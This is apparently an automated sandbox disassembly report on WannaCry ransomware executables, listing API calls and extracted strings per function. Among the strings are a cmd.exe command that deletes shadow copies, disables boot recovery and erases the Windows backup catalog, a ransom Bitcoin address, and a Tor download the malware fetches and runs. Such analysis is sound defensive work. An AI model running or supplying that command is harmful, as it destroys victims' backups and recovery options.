?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001), ref: 00401258
?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001), ref: 00401282

Part of subcall function 004018D0: free.MSVCRT(?,004014D9,?,?,?,00000001,?), ref: 004018D4

Strings

.WNCRYT, xrefs: 004010E9
%s\*%s, xrefs: 004010EF
%s\%s, xrefs: 00401162

Memory Dump Source

Source File: 0000000A.00000002.1619051545.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1619044990.00400000.00000002.sdmp
Associated: 0000000A.00000002.1619057686.00402000.00000002.sdmp
Associated: 0000000A.00000002.1619064290.00403000.00000004.sdmp
Associated: 0000000A.00000002.1619070180.00404000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_taskdl.jbxd

Function 00401000, Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 44

APIs

GetWindowsDirectoryW.KERNEL32(00000019,00000104,76E6C426,00000019,004010D5,?,?,76E6C426,00000019,76E6EEF2,00000000), ref: 0040100C
GetTempPathW.KERNEL32(00000104,00000019), ref: 00401028
wcslen.MSVCRT ref: 00401035
wcslen.MSVCRT ref: 0040103F
wcslen.MSVCRT ref: 0040104D
swprintf.MSVCRT(00000019,%C:\%s,?,$RECYCLE), ref: 0040106A

Strings

$RECYCLE, xrefs: 0040105E
%C:\%s, xrefs: 00401064

Memory Dump Source

Source File: 0000000A.00000002.1619051545.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1619044990.00400000.00000002.sdmp
Associated: 0000000A.00000002.1619057686.00402000.00000002.sdmp
Associated: 0000000A.00000002.1619064290.00403000.00000004.sdmp
Associated: 0000000A.00000002.1619070180.00404000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_taskdl.jbxd

Function 00401690, Relevance: 10.6, APIs: 7, Instructions: 139

APIs

?_Xran@std@@YAXXZ.MSVCP60(?,?,?,?,?,?,00401AD1,000000FF,00401609,?,?,768FE87C,00000000,00000000,?,?), ref: 004016EE
?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXXZ.MSVCP60(?,?,?,?,?,?,00401AD1,000000FF,00401609,?,?,768FE87C,00000000,00000000,?,?), ref: 004016F6
?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(?,00000000), ref: 0040172D
?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI@Z.MSVCP60(?), ref: 0040173A
?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXXZ.MSVCP60 ref: 00401742
?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001,?,?,?,?,?,?,00401AD1,000000FF,00401609,?,?,768FE87C,00000000,00000000,?), ref: 00401779
?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(?,00000001,?,?,?,?,?,?,00401AD1,000000FF,00401609,?,?,768FE87C,00000000,00000000), ref: 004017BA

Memory Dump Source

Source File: 0000000A.00000002.1619051545.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1619044990.00400000.00000002.sdmp
Associated: 0000000A.00000002.1619057686.00402000.00000002.sdmp
Associated: 0000000A.00000002.1619064290.00403000.00000004.sdmp
Associated: 0000000A.00000002.1619070180.00404000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_taskdl.jbxd

Function 004013D0, Relevance: 7.8, APIs: 5, Instructions: 264

APIs

??2@YAPAXI@Z.MSVCRT ref: 00401423
?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001,?,?,00000001,?), ref: 004014C3

Part of subcall function 004018D0: free.MSVCRT(?,004014D9,?,?,?,00000001,?), ref: 004018D4

?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@ABV12@II@Z.MSVCP60(?,00000000,?,768FE87C,00000000,00000000,?,?,00000001,?), ref: 004015C0
?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@ABV12@II@Z.MSVCP60(?,00000000,?,768FE87C,00000000,00000000,?,?,00000001,?), ref: 0040166A

Part of subcall function 00401690: ?_Xran@std@@YAXXZ.MSVCP60(?,?,?,?,?,?,00401AD1,000000FF,00401609,?,?,768FE87C,00000000,00000000,?,?), ref: 004016EE
Part of subcall function 00401690: ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXXZ.MSVCP60(?,?,?,?,?,?,00401AD1,000000FF,00401609,?,?,768FE87C,00000000,00000000,?,?), ref: 004016F6
Part of subcall function 00401690: ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(?,00000000), ref: 0040172D
Part of subcall function 00401690: ?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI@Z.MSVCP60(?), ref: 0040173A
Part of subcall function 00401690: ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXXZ.MSVCP60 ref: 00401742
Part of subcall function 00401690: ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001,?,?,?,?,?,?,00401AD1,000000FF,00401609,?,?,768FE87C,00000000,00000000,?), ref: 00401779
Part of subcall function 00401690: ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(?,00000001,?,?,?,?,?,?,00401AD1,000000FF,00401609,?,?,768FE87C,00000000,00000000), ref: 004017BA

?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@ABV12@II@Z.MSVCP60(?,00000000,?,768FE87C,00000000,00000000,?,?,00000001,?), ref: 0040163D

Memory Dump Source

Source File: 0000000A.00000002.1619051545.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1619044990.00400000.00000002.sdmp
Associated: 0000000A.00000002.1619057686.00402000.00000002.sdmp
Associated: 0000000A.00000002.1619064290.00403000.00000004.sdmp
Associated: 0000000A.00000002.1619070180.00404000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_taskdl.jbxd

Analysis Process: @WanaDecryptor@.exe PID: 3408 Parent PID: 3240

Execution Graph

Execution Coverage:	6.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	11.6%
Total number of Nodes:	1704
Total number of Limit Nodes:	11

Executed Functions

Function 004082C0, Relevance: 47.4, APIs: 21, Strings: 6, Instructions: 181

APIs

#4278.MFC42(000003E8,00000000,000003E8,?,?,76923ABC), ref: 0040830D
#858.MFC42 ref: 00408322
#800.MFC42 ref: 00408332
#1200.MFC42(Too short message!,00000000,00000000,?,?,76923ABC), ref: 00408354
#800.MFC42 ref: 0040836B
time.MSVCRT ref: 0040837F
#540.MFC42 ref: 004083C8
time.MSVCRT ref: 004083D6
#2818.MFC42(?,You are sending too many mails! Please try again %d minutes later.,0000003D,00000000), ref: 0040840A
#1200.MFC42(?,00000000,00000000,?,?,?,00000000), ref: 00408419
#800.MFC42(?,00000000,00000000,?,?,?,00000000), ref: 00408429
#800.MFC42 ref: 00408440
time.MSVCRT ref: 0040844E
fopen.MSVCRT ref: 00408487
#800.MFC42 ref: 004084A8
fread.MSVCRT ref: 004084C2
fclose.MSVCRT ref: 004084C9

Part of subcall function 0040BE90: strncpy.MSVCRT ref: 0040BE9C
Part of subcall function 0040BE90: strncpy.MSVCRT ref: 0040BEAD
Part of subcall function 0040BE90: strncpy.MSVCRT ref: 0040BEBE

Part of subcall function 0040C060: SendMessageA.USER32(?,00004E20,00000000,00000000), ref: 0040C0D5
Part of subcall function 0040C060: SendMessageA.USER32(?,00004E20,00000000,00000000), ref: 0040C102
Part of subcall function 0040C060: SendMessageA.USER32(?,00004E21,000000FF,00000000), ref: 0040C152
Part of subcall function 0040C060: SendMessageA.USER32(?,00004E21,00000000,00000000), ref: 0040C189
Part of subcall function 0040C060: SendMessageA.USER32(?,00004E22,000000FF,00000000), ref: 0040C1C2
Part of subcall function 0040C060: SendMessageA.USER32(?,00004E22,00000000,00000000), ref: 0040C1FE

#1200.MFC42(Your message has been sent successfully!,00000040,00000000), ref: 00408522
time.MSVCRT ref: 00408528
#1200.MFC42(Failed to send your message!Please make sure that your computer is connected to the Internet and your Internet Service Provider (ISP) does not block connections to the TOR Network!,00000030,00000000), ref: 00408544
#800.MFC42 ref: 0040855B

Strings

You are sending too many mails! Please try again %d minutes later., xrefs: 00408404
00000000.res, xrefs: 00408480
Too short message!, xrefs: 0040834F
Failed to send your message!Please make sure that your computer is connected to the Internet and your Internet Service Provider (ISP) does not block connections to the TOR Network!, xrefs: 0040853F
s.wnry, xrefs: 004084DD
Your message has been sent successfully!, xrefs: 0040851D

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 004064D0, Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 256

APIs

#4710.MFC42 ref: 004064DC
SendMessageA.USER32(?,00000080,00000001,?), ref: 004064F9
SendMessageA.USER32(?,00000080,00000000,?), ref: 0040650D

Part of subcall function 00401C70: wcscat.MSVCRT ref: 00401CC1
Part of subcall function 00401C70: RegCreateKeyW.ADVAPI32(80000001,?,?), ref: 00401D00
Part of subcall function 00401C70: GetCurrentDirectoryA.KERNEL32(00000207,?), ref: 00401D2A
Part of subcall function 00401C70: RegSetValueExA.ADVAPI32(?,0041FDC4,00000000,00000001,?), ref: 00401D53
Part of subcall function 00401C70: RegQueryValueExA.ADVAPI32 ref: 00401D81
Part of subcall function 00401C70: SetCurrentDirectoryA.KERNEL32(?), ref: 00401D98
Part of subcall function 00401C70: RegCloseKey.ADVAPI32(00000000), ref: 00401DA3

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00406541
strrchr.MSVCRT ref: 00406554
strrchr.MSVCRT ref: 00406564
SetCurrentDirectoryA.KERNEL32(?), ref: 00406571

Part of subcall function 00401A10: fopen.MSVCRT ref: 00401A2B
Part of subcall function 00401A10: fread.MSVCRT ref: 00401A4B
Part of subcall function 00401A10: fwrite.MSVCRT ref: 00401A58
Part of subcall function 00401A10: fclose.MSVCRT ref: 00401A66
Part of subcall function 00401A10: fclose.MSVCRT ref: 00401A74

time.MSVCRT ref: 004065D1

Part of subcall function 00402C40: LoadLibraryA.KERNEL32(kernel32.dll), ref: 00402C63
Part of subcall function 00402C40: GetProcAddress.KERNEL32(00000000,CreateFileW), ref: 00402C80
Part of subcall function 00402C40: GetProcAddress.KERNEL32(00000000,WriteFile), ref: 00402C8D
Part of subcall function 00402C40: GetProcAddress.KERNEL32(00000000,ReadFile), ref: 00402C9A
Part of subcall function 00402C40: GetProcAddress.KERNEL32(00000000,MoveFileW), ref: 00402CA7
Part of subcall function 00402C40: GetProcAddress.KERNEL32(00000000,MoveFileExW), ref: 00402CB4
Part of subcall function 00402C40: GetProcAddress.KERNEL32(00000000,DeleteFileW), ref: 00402CC1
Part of subcall function 00402C40: GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 00402CCE

WSAStartup.WS2_32(00000202,?), ref: 004065FA
__p___argc.MSVCRT ref: 00406600
__p___argv.MSVCRT ref: 0040661A
ExitProcess.KERNEL32 ref: 0040665B
__p___argv.MSVCRT ref: 00406666
ExitProcess.KERNEL32 ref: 004066A7
__p___argv.MSVCRT ref: 004066B2
Sleep.KERNEL32(00002710), ref: 004066F3

Part of subcall function 00401BB0: AllocateAndInitializeSid.ADVAPI32(?,?,?,?,?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00401BEC
Part of subcall function 00401BB0: CheckTokenMembership.ADVAPI32(00000000,?,?,?,?,?,?,?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000), ref: 00401C06
Part of subcall function 00401BB0: FreeSid.ADVAPI32(?,?,?,?,?,?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00401C19

ExitProcess.KERNEL32 ref: 00406786

Part of subcall function 00401B50: ShellExecuteExA.SHELL32 ref: 00401B9D

sprintf.MSVCRT ref: 0040676A

Part of subcall function 00401A90: CreateProcessA.KERNEL32 ref: 00401AE3
Part of subcall function 00401A90: WaitForSingleObject.KERNEL32(?,?), ref: 00401AFB
Part of subcall function 00401A90: TerminateProcess.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 00401B0C
Part of subcall function 00401A90: GetExitCodeProcess.KERNEL32(?,?), ref: 00401B20
Part of subcall function 00401A90: CloseHandle.KERNEL32(?), ref: 00401B31
Part of subcall function 00401A90: CloseHandle.KERNEL32(?), ref: 00401B38

Part of subcall function 004080C0: FindFirstFileA.KERNEL32(*.res,?), ref: 00408111
Part of subcall function 004080C0: sscanf.MSVCRT ref: 0040816A
Part of subcall function 004080C0: fopen.MSVCRT ref: 00408185
Part of subcall function 004080C0: fread.MSVCRT ref: 004081A0
Part of subcall function 004080C0: fclose.MSVCRT ref: 004081BE
Part of subcall function 004080C0: FindNextFileA.KERNEL32(?,00000010), ref: 004081F1
Part of subcall function 004080C0: FindClose.KERNEL32(?), ref: 00408200
Part of subcall function 004080C0: sprintf.MSVCRT ref: 00408266
Part of subcall function 004080C0: #537.MFC42(?,?,00000000), ref: 00408280
Part of subcall function 004080C0: #537.MFC42(?,?,00000000,?,?,00000000), ref: 004082A2

Part of subcall function 00407F80: fopen.MSVCRT ref: 00407FBD
Part of subcall function 00407F80: fread.MSVCRT ref: 00407FDD
Part of subcall function 00407F80: fclose.MSVCRT ref: 00407FE4

Part of subcall function 00407E80: SHGetFolderPathW.SHELL32(00000000,00000000,00000000,00000000,?), ref: 00407EE6
Part of subcall function 00407E80: wcslen.MSVCRT ref: 00407EF4
Part of subcall function 00407E80: swprintf.MSVCRT(?,%s\%s,?,@WanaDecryptor@.bmp), ref: 00407F20
Part of subcall function 00407E80: MultiByteToWideChar.KERNEL32(00000000,00000000,b.wnry,000000FF,?,00000103), ref: 00407F41
Part of subcall function 00407E80: CopyFileW.KERNEL32(?,?,00000000), ref: 00407F56
Part of subcall function 00407E80: SystemParametersInfoW.USER32(00000014,00000000,?,00000001), ref: 00407F67

SetWindowTextW.USER32(?,Wana Decrypt0r 2.0), ref: 0040679C

Part of subcall function 00406F80: CreateSolidBrush.GDI32(000000E0), ref: 00406FB3
Part of subcall function 00406F80: #1641.MFC42(00000000,?,767AAD28,?), ref: 00406FBC
Part of subcall function 00406F80: CreateSolidBrush.GDI32(00121284), ref: 00406FC6
Part of subcall function 00406F80: #1641.MFC42(00000000,?,767AAD28,?), ref: 00406FCF
Part of subcall function 00406F80: CreateSolidBrush.GDI32(0000E000), ref: 00406FD9
Part of subcall function 00406F80: #1641.MFC42(00000000,?,767AAD28,?), ref: 00406FE2
Part of subcall function 00406F80: CreateSolidBrush.GDI32(00E00000), ref: 00406FEC
Part of subcall function 00406F80: #1641.MFC42(00000000,?,767AAD28,?), ref: 00406FF5
Part of subcall function 00406F80: CreateSolidBrush.GDI32(00000000), ref: 00406FFC
Part of subcall function 00406F80: #1641.MFC42(00000000,?,767AAD28,?), ref: 00407005
Part of subcall function 00406F80: CreateSolidBrush.GDI32(003834D1), ref: 0040700F
Part of subcall function 00406F80: #1641.MFC42(00000000,?,767AAD28,?), ref: 00407018
Part of subcall function 00406F80: CreateSolidBrush.GDI32(00107C10), ref: 00407022
Part of subcall function 00406F80: #1641.MFC42(00000000,?,767AAD28,?), ref: 0040702B
Part of subcall function 00406F80: CreateSolidBrush.GDI32(00E8A200), ref: 00407035
Part of subcall function 00406F80: #1641.MFC42(00000000,?,767AAD28,?), ref: 0040703E
Part of subcall function 00406F80: CreateSolidBrush.GDI32(00D77800), ref: 00407048
Part of subcall function 00406F80: #1641.MFC42(00000000,?,767AAD28,?), ref: 00407051
Part of subcall function 00406F80: CreateSolidBrush.GDI32(00003CDA), ref: 0040705B
Part of subcall function 00406F80: #1641.MFC42(00000000,?,767AAD28,?), ref: 00407064
Part of subcall function 00406F80: CreateFontA.GDI32(00000018,00000000,00000000,00000000,000002BC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000020,Arial), ref: 00407097
Part of subcall function 00406F80: #1641.MFC42(00000000,?,767AAD28,?), ref: 0040709C
Part of subcall function 00406F80: CreateFontA.GDI32(00000012,00000000,00000000,00000000,000002BC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000020,Arial), ref: 004070C9

Part of subcall function 00406C20: GetUserDefaultLangID.KERNEL32 ref: 00406C3B
Part of subcall function 00406C20: GetLocaleInfoA.KERNEL32(00000000,00001001,00000000,00000032), ref: 00406C53
Part of subcall function 00406C20: SendMessageA.USER32(?,00000158,00000000,00000000), ref: 00406C9A
Part of subcall function 00406C20: SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00406CB1
Part of subcall function 00406C20: SendMessageA.USER32(?,0000014D,00000000,00000000), ref: 00406CD4

SetTimer.USER32(?,000003E9,000003E8,00000000), ref: 004067C6
SetTimer.USER32(?,000003EA,00007530,00000000), ref: 004067D8

Strings

Wana Decrypt0r 2.0, xrefs: 00406796
/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, xrefs: 004066FE
%s %s, xrefs: 00406764
13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94, xrefs: 00406595
cmd.exe, xrefs: 0040671C

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 0040B840, Relevance: 31.6, APIs: 10, Strings: 8, Instructions: 138

APIs

sprintf.MSVCRT ref: 0040B87A
GetFileAttributesA.KERNEL32(?,?,?,?,00000000,?), ref: 0040B88D
sprintf.MSVCRT ref: 0040B924
GetFileAttributesA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0040B934
CopyFileA.KERNEL32(?,?,00000000), ref: 0040B955

Part of subcall function 0040B780: CreateDirectoryA.KERNEL32(?,00000000,?,76E76DBE,00000428), ref: 0040B793
Part of subcall function 0040B780: GetTempFileNameA.KERNEL32(?,004214DC,00000000,?), ref: 0040B7D4
Part of subcall function 0040B780: DeleteUrlCacheEntry.WININET(?), ref: 0040B7DB
Part of subcall function 0040B780: URLDownloadToFileA.URLMON(00000000,?,?,00000000,00000000), ref: 0040B7ED
Part of subcall function 0040B780: DeleteFileA.KERNEL32(?), ref: 0040B815
Part of subcall function 0040B780: DeleteFileA.KERNEL32(?), ref: 0040B82C

CreateProcessA.KERNEL32(00000000,?), ref: 0040B9AA
WaitForSingleObject.KERNEL32(?,00001388), ref: 0040B9CF
WaitForSingleObject.KERNEL32(?,00007530), ref: 0040B9E2
CloseHandle.KERNEL32(?), ref: 0040B9EF
CloseHandle.KERNEL32(?), ref: 0040B9F6

Part of subcall function 0040B6A0: CreateDirectoryA.KERNEL32(?,00000000,?,76E76DBE,00000000,00000428), ref: 0040B6B4
Part of subcall function 0040B6A0: DeleteFileA.KERNEL32(?), ref: 0040B6D9
Part of subcall function 0040B6A0: sprintf.MSVCRT ref: 0040B74E

Strings

Tor, xrefs: 0040B865, 0040B90C
taskhsvc.exe, xrefs: 0040B85C
D, xrefs: 0040B966
%s\%s\%s, xrefs: 0040B873, 0040B91D
https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip, xrefs: 0040B8B2
s.wnry, xrefs: 0040B89A
TaskData, xrefs: 0040B86A, 0040B89F, 0040B8B7, 0040B8CF, 0040B911
tor.exe, xrefs: 0040B903

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00405A60, Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 134

APIs

Part of subcall function 0040B620: FindWindowW.USER32(00000000,00000000), ref: 0040B628
Part of subcall function 0040B620: ShowWindow.USER32(00000000,00000005), ref: 0040B638
Part of subcall function 0040B620: SetWindowPos.USER32(00000000,000000FF,00000000,00000000,00000000,00000000,00000043), ref: 0040B651
Part of subcall function 0040B620: SetWindowPos.USER32(00000000,000000FE,00000000,00000000,00000000,00000000,00000043), ref: 0040B660
Part of subcall function 0040B620: SetForegroundWindow.USER32(00000000), ref: 0040B663
Part of subcall function 0040B620: SetFocus.USER32(00000000), ref: 0040B66A
Part of subcall function 0040B620: SetActiveWindow.USER32(00000000), ref: 0040B671
Part of subcall function 0040B620: BringWindowToTop.USER32(00000000), ref: 0040B678
Part of subcall function 0040B620: ExitProcess.KERNEL32 ref: 0040B689

#1134.MFC42(00000000,Wana Decrypt0r 2.0,00000001), ref: 00405A8C
#2621.MFC42 ref: 00405A96
#6438.MFC42 ref: 00405A9B

Part of subcall function 004060E0: #324.MFC42(00000066,00000000,?,?,?,?,?,00000000,00413E0B,000000FF,00405AAB,00000000), ref: 00406107
Part of subcall function 004060E0: #567.MFC42(00000066,00000000,?,?,?,?,?,00000000,00413E0B,000000FF,00405AAB,00000000), ref: 00406117
Part of subcall function 004060E0: #567.MFC42(00000066,00000000), ref: 0040612F
Part of subcall function 004060E0: #567.MFC42(00000066,00000000), ref: 00406147
Part of subcall function 004060E0: #567.MFC42(00000066,00000000), ref: 004061DF
Part of subcall function 004060E0: #540.MFC42(00000066,00000000), ref: 004061F7
Part of subcall function 004060E0: #540.MFC42(00000066,00000000), ref: 00406209
Part of subcall function 004060E0: #540.MFC42(00000066,00000000), ref: 00406219
Part of subcall function 004060E0: #540.MFC42(00000066,00000000), ref: 00406229

#2514.MFC42 ref: 00405AC1

Part of subcall function 00403F20: #2414.MFC42(?,?,?,004136B8,000000FF,00403F08), ref: 00403F4B

Part of subcall function 00403F90: #2414.MFC42(?,?,?,004136D8,000000FF,00403F78), ref: 00403FBB

#800.MFC42 ref: 00405C33
#800.MFC42 ref: 00405C47
#800.MFC42 ref: 00405C5B
#800.MFC42 ref: 00405C6F
#781.MFC42 ref: 00405C83

Part of subcall function 004050A0: #800.MFC42(?,?,?,004138A8,000000FF,00405088), ref: 004050CE
Part of subcall function 004050A0: #795.MFC42(?,?,?,004138A8,000000FF,00405088), ref: 004050DD

Part of subcall function 00404170: #2414.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041B2
Part of subcall function 00404170: #800.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041C5
Part of subcall function 00404170: #800.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041D2
Part of subcall function 00404170: #795.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041E1

Part of subcall function 00405D90: #654.MFC42(00415A44,?,00000000,00413A88,000000FF,00405D14), ref: 00405DBE
Part of subcall function 00405D90: #765.MFC42(00415A44,?,00000000,00413A88,000000FF,00405D14), ref: 00405DCD

#609.MFC42 ref: 00405D37
#609.MFC42 ref: 00405D4B
#616.MFC42 ref: 00405D5C
#641.MFC42 ref: 00405D70

Strings

DZA, xrefs: 00405B1F
Wana Decrypt0r 2.0, xrefs: 00405A80
0ZA, xrefs: 00405AC6

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00407A90, Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 90

APIs

Part of subcall function 00404C40: #324.MFC42(00000089,?,?,?,?,?,00413809,000000FF), ref: 00404C68
Part of subcall function 00404C40: #540.MFC42(00000089,?,?,?,?,?,00413809,000000FF), ref: 00404C7A
Part of subcall function 00404C40: #860.MFC42(00421798), ref: 00404CAD

#2514.MFC42 ref: 00407AF1
#537.MFC42(***), ref: 00407B04
#941.MFC42(00421234,***), ref: 00407B1A
#939.MFC42(?,00421234,***), ref: 00407B28
#6876.MFC42(0000000A,0000003B,?,00421234,***), ref: 00407B35
#6876.MFC42(0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407B42
#535.MFC42(?,?,00000001,0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407B55

Part of subcall function 004082C0: #4278.MFC42(000003E8,00000000,000003E8,?,?,76923ABC), ref: 0040830D
Part of subcall function 004082C0: #858.MFC42 ref: 00408322
Part of subcall function 004082C0: #800.MFC42 ref: 00408332
Part of subcall function 004082C0: #1200.MFC42(Too short message!,00000000,00000000,?,?,76923ABC), ref: 00408354
Part of subcall function 004082C0: #800.MFC42 ref: 0040836B
Part of subcall function 004082C0: time.MSVCRT ref: 0040837F
Part of subcall function 004082C0: #540.MFC42 ref: 004083C8
Part of subcall function 004082C0: time.MSVCRT ref: 004083D6
Part of subcall function 004082C0: #2818.MFC42(?,You are sending too many mails! Please try again %d minutes later.,0000003D,00000000), ref: 0040840A
Part of subcall function 004082C0: #1200.MFC42(?,00000000,00000000,?,?,?,00000000), ref: 00408419
Part of subcall function 004082C0: #800.MFC42(?,00000000,00000000,?,?,?,00000000), ref: 00408429
Part of subcall function 004082C0: #800.MFC42 ref: 00408440
Part of subcall function 004082C0: time.MSVCRT ref: 0040844E
Part of subcall function 004082C0: fopen.MSVCRT ref: 00408487
Part of subcall function 004082C0: #800.MFC42 ref: 004084A8
Part of subcall function 004082C0: fread.MSVCRT ref: 004084C2
Part of subcall function 004082C0: fclose.MSVCRT ref: 004084C9
Part of subcall function 004082C0: #1200.MFC42(Your message has been sent successfully!,00000040,00000000), ref: 00408522
Part of subcall function 004082C0: time.MSVCRT ref: 00408528
Part of subcall function 004082C0: #1200.MFC42(Failed to send your message!Please make sure that your computer is connected to the Internet and your Internet Service Provider (ISP) does not block connections to the TOR Network!,00000030,00000000), ref: 00408544
Part of subcall function 004082C0: #800.MFC42 ref: 0040855B

#800.MFC42(?,?,00000001,0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407B6D
#2414.MFC42(?,?,00000001,0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407B99
#2414.MFC42(?,?,00000001,0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407BC2
#800.MFC42(?,?,00000001,0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407BDB
#641.MFC42(?,?,00000001,0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407BEF
#2385.MFC42(?,?,?), ref: 00407C0E

Strings

[A, xrefs: 00407BCB
***, xrefs: 00407AFB
[A, xrefs: 00407BA2

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 004063A0, Relevance: 22.6, APIs: 15, Instructions: 82

APIs

#2302.MFC42(?,0000040F,?), ref: 004063B2
#2302.MFC42(?,000003EC,?,?,0000040F,?), ref: 004063C4
#2302.MFC42(?,000003EB,?,?,000003EC,?,?,0000040F,?), ref: 004063D6
#2302.MFC42(?,000003F3,?,?,000003EB,?,?,000003EC,?,?,0000040F,?), ref: 004063E8
#2302.MFC42(?,000003F4,?,?,000003F3,?,?,000003EB,?,?,000003EC,?,?,0000040F,?), ref: 004063FA
